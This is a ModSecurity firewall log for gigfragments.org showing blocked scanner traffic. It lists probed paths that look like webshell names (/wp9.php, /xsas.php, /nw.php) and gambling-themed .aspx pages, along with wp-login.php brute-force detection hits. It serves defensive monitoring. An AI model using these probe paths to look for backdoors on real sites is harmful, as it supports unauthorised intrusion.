[Sat Apr 04 04:47:29.711057 2026] [:error] [pid 2567:tid 2576] [client 168.63.57.185:23411] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adAnYWJJmfRsTrAKjdQ2PwAAAMI"]
[Sat Apr 04 04:47:30.224304 2026] [:error] [pid 2567:tid 2593] [client 168.63.57.185:56496] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adAnYmJJmfRsTrAKjdQ2RAAAANM"]
[Sat Apr 04 04:47:30.760173 2026] [:error] [pid 2457:tid 2489] [client 168.63.57.185:22666] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adAnYkmNHppaMd92ZpdHjAAAAAw"]
[Sat Apr 04 04:47:31.408389 2026] [:error] [pid 2567:tid 2594] [client 168.63.57.185:24368] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adAnY2JJmfRsTrAKjdQ2SQAAANQ"]
[Sat Apr 04 04:47:31.962760 2026] [:error] [pid 37114:tid 37126] [client 168.63.57.185:24332] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adAnY8-DnSj3fGMexeJkOwAAAQo"]
[Sat Apr 04 04:47:32.791192 2026] [:error] [pid 37114:tid 37138] [client 168.63.57.185:50804] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adAnZM-DnSj3fGMexeJkQAAAARY"]
[Sat Apr 04 04:47:33.348163 2026] [:error] [pid 2459:tid 2535] [client 168.63.57.185:42301] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adAnZQefyCmu4LR_PlpYLAAAAIQ"]
[Sat Apr 04 04:47:34.017767 2026] [:error] [pid 2567:tid 2585] [client 168.63.57.185:42284] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adAnZmJJmfRsTrAKjdQ2UgAAAMs"]
[Sat Apr 04 04:47:34.576073 2026] [:error] [pid 37114:tid 37132] [client 168.63.57.185:36070] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adAnZs-DnSj3fGMexeJkRQAAARA"]
[Sat Apr 04 04:47:35.255844 2026] [:error] [pid 37114:tid 37133] [client 168.63.57.185:3396] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adAnZ8-DnSj3fGMexeJkRwAAARE"]
[Sat Apr 04 04:47:35.798132 2026] [:error] [pid 37114:tid 37138] [client 168.63.57.185:42278] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adAnZ8-DnSj3fGMexeJkSQAAARY"]
[Sat Apr 04 04:47:36.390569 2026] [:error] [pid 37114:tid 37116] [client 168.63.57.185:13565] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adAnaM-DnSj3fGMexeJkTAAAAQA"]
[Sat Apr 04 04:47:37.081784 2026] [:error] [pid 2567:tid 2582] [client 168.63.57.185:3690] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adAnaWJJmfRsTrAKjdQ2WwAAAMg"]
[Sat Apr 04 04:47:37.937877 2026] [:error] [pid 2567:tid 2595] [client 168.63.57.185:16805] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adAnaWJJmfRsTrAKjdQ2XgAAANU"]
[Sat Apr 04 04:47:38.603323 2026] [:error] [pid 2567:tid 2593] [client 168.63.57.185:50813] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adAnamJJmfRsTrAKjdQ2YgAAANM"]
[Sat Apr 04 04:47:39.187717 2026] [:error] [pid 2567:tid 2597] [client 168.63.57.185:22678] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adAna2JJmfRsTrAKjdQ2ZgAAANc"]
[Sat Apr 04 04:47:39.735157 2026] [:error] [pid 2567:tid 2582] [client 168.63.57.185:36089] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adAna2JJmfRsTrAKjdQ2aQAAAMg"]
[Sat Apr 04 04:47:40.607093 2026] [:error] [pid 2459:tid 2543] [client 168.63.57.185:36674] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adAnbAefyCmu4LR_PlpYOAAAAIs"]
[Sat Apr 04 04:47:41.260895 2026] [:error] [pid 2459:tid 2544] [client 168.63.57.185:24946] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adAnbQefyCmu4LR_PlpYOwAAAIw"]
[Sat Apr 04 04:47:41.923898 2026] [:error] [pid 2457:tid 2496] [client 168.63.57.185:13497] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adAnbUmNHppaMd92ZpdHkwAAABM"]
[Sat Apr 04 04:47:54.960368 2026] [:error] [pid 2567:tid 2587] [client 193.70.34.35:38366] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adAnemJJmfRsTrAKjdQ2lAAAAM0"]
[Sat Apr 04 04:47:56.895816 2026] [:error] [pid 2458:tid 2524] [client 193.70.34.35:57898] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adAnfCNozic5SuWqclnM3gAAAFQ"]
[Sat Apr 04 04:47:58.899650 2026] [:error] [pid 2459:tid 2538] [client 193.70.34.35:37122] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adAnfgefyCmu4LR_PlpYaAAAAIY"]
[Sat Apr 04 04:48:00.885904 2026] [:error] [pid 2459:tid 2551] [client 193.70.34.35:37132] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adAngAefyCmu4LR_PlpYcgAAAJM"]
[Sat Apr 04 04:48:02.900779 2026] [:error] [pid 2457:tid 2478] [client 193.70.34.35:37144] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adAngkmNHppaMd92ZpdHrgAAAAE"]
[Sat Apr 04 04:48:04.904954 2026] [:error] [pid 2567:tid 2585] [client 193.70.34.35:37148] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adAnhGJJmfRsTrAKjdQ2qgAAAMs"]
[Sat Apr 04 04:48:06.743293 2026] [:error] [pid 2567:tid 2594] [client 193.70.34.35:37162] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adAnhmJJmfRsTrAKjdQ2sgAAANQ"]
[Sat Apr 04 04:48:08.724035 2026] [:error] [pid 2567:tid 2593] [client 193.70.34.35:51500] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adAniGJJmfRsTrAKjdQ2twAAANM"]
[Sat Apr 04 04:48:10.564195 2026] [:error] [pid 2567:tid 2578] [client 193.70.34.35:51510] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adAnimJJmfRsTrAKjdQ2vQAAAMQ"]
[Sat Apr 04 04:48:12.546773 2026] [:error] [pid 2457:tid 2491] [client 193.70.34.35:51516] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adAnjEmNHppaMd92ZpdHvgAAAA4"]
[Sat Apr 04 04:48:14.549408 2026] [:error] [pid 2459:tid 2538] [client 193.70.34.35:51518] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adAnjgefyCmu4LR_PlpYhQAAAIY"]
[Sat Apr 04 04:48:16.532048 2026] [:error] [pid 2567:tid 2580] [client 193.70.34.35:51522] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adAnkGJJmfRsTrAKjdQ2zgAAAMY"]
[Sat Apr 04 04:48:18.518281 2026] [:error] [pid 2458:tid 2506] [client 193.70.34.35:46214] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adAnkiNozic5SuWqclnM6AAAAEI"]
[Sat Apr 04 04:48:20.508250 2026] [:error] [pid 2458:tid 2505] [client 193.70.34.35:46222] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adAnlCNozic5SuWqclnM6QAAAEE"]
[Sat Apr 04 04:48:22.493846 2026] [:error] [pid 2457:tid 2478] [client 193.70.34.35:46232] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adAnlkmNHppaMd92ZpdHwgAAAAE"]
[Sat Apr 04 04:48:24.494742 2026] [:error] [pid 2567:tid 2594] [client 193.70.34.35:46234] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adAnmGJJmfRsTrAKjdQ25QAAANQ"]
[Sat Apr 04 04:48:26.478956 2026] [:error] [pid 2567:tid 2583] [client 193.70.34.35:46244] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adAnmmJJmfRsTrAKjdQ28AAAAMk"]
[Sat Apr 04 04:48:28.313390 2026] [:error] [pid 37114:tid 37140] [client 193.70.34.35:53342] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adAnnM-DnSj3fGMexeJkvAAAARg"]
[Sat Apr 04 04:48:30.296857 2026] [:error] [pid 2567:tid 2579] [client 193.70.34.35:53358] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adAnnmJJmfRsTrAKjdQ2-QAAAMU"]
[Sat Apr 04 04:48:32.277792 2026] [:error] [pid 2459:tid 2545] [client 193.70.34.35:53364] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adAnoAefyCmu4LR_PlpYpQAAAI0"]
[Sat Apr 04 04:48:34.265819 2026] [:error] [pid 2567:tid 2576] [client 193.70.34.35:53378] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adAnomJJmfRsTrAKjdQ3AAAAAMI"]
[Sat Apr 04 04:48:36.266317 2026] [:error] [pid 2567:tid 2585] [client 193.70.34.35:53380] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adAnpGJJmfRsTrAKjdQ3BwAAAMs"]
[Sat Apr 04 04:48:38.248217 2026] [:error] [pid 37114:tid 37140] [client 193.70.34.35:33794] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adAnps-DnSj3fGMexeJk2QAAARg"]
[Sat Apr 04 04:48:40.229868 2026] [:error] [pid 2567:tid 2598] [client 193.70.34.35:33802] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adAnqGJJmfRsTrAKjdQ3EQAAANg"]
[Sat Apr 04 04:48:42.217877 2026] [:error] [pid 37114:tid 37123] [client 193.70.34.35:33806] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adAnqs-DnSj3fGMexeJk5gAAAQc"]
[Sat Apr 04 04:48:44.213840 2026] [:error] [pid 37114:tid 37118] [client 193.70.34.35:33818] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adAnrM-DnSj3fGMexeJk8AAAAQI"]
[Sat Apr 04 04:48:46.045512 2026] [:error] [pid 2457:tid 2480] [client 193.70.34.35:33828] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adAnrkmNHppaMd92ZpdH4gAAAAM"]
[Sat Apr 04 04:48:48.025247 2026] [:error] [pid 2567:tid 2596] [client 193.70.34.35:60944] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adAnsGJJmfRsTrAKjdQ3KwAAANY"]
[Sat Apr 04 04:48:50.004615 2026] [:error] [pid 2459:tid 2536] [client 193.70.34.35:60952] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adAnsgefyCmu4LR_PlpYtwAAAIU"]
[Sat Apr 04 06:40:49.495921 2026] [:error] [pid 2459:tid 2553] [client 74.121.34.60:10131] [client 74.121.34.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.121.34.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adBB8QefyCmu4LR_PlqBhwAAAJU"]
[Sat Apr 04 06:40:52.832866 2026] [:error] [pid 2459:tid 2534] [client 74.121.34.60:10131] [client 74.121.34.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.121.34.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adBB9AefyCmu4LR_PlqBigAAAIM"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 04 06:43:43.454764 2026] [:error] [pid 2457:tid 2496] [client 52.55.0.244:38772] [client 52.55.0.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.55.0.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adBCn0mNHppaMd92Zpdi0AAAABM"]
[Sat Apr 04 06:43:45.287117 2026] [:error] [pid 2457:tid 2485] [client 52.55.0.244:38772] [client 52.55.0.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.55.0.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adBCoUmNHppaMd92Zpdi0QAAAAg"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 04 07:04:51.254172 2026] [:error] [pid 2459:tid 2541] [client 45.92.1.112:54314] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adBHkwefyCmu4LR_PlqJJgAAAIk"]
[Sat Apr 04 07:04:51.758688 2026] [:error] [pid 2458:tid 2519] [client 45.92.1.112:49303] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adBHkyNozic5SuWqcln0tgAAAE8"]
[Sat Apr 04 07:04:52.239839 2026] [:error] [pid 37114:tid 37119] [client 45.92.1.112:53567] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adBHlM-DnSj3fGMexeKjKAAAAQM"]
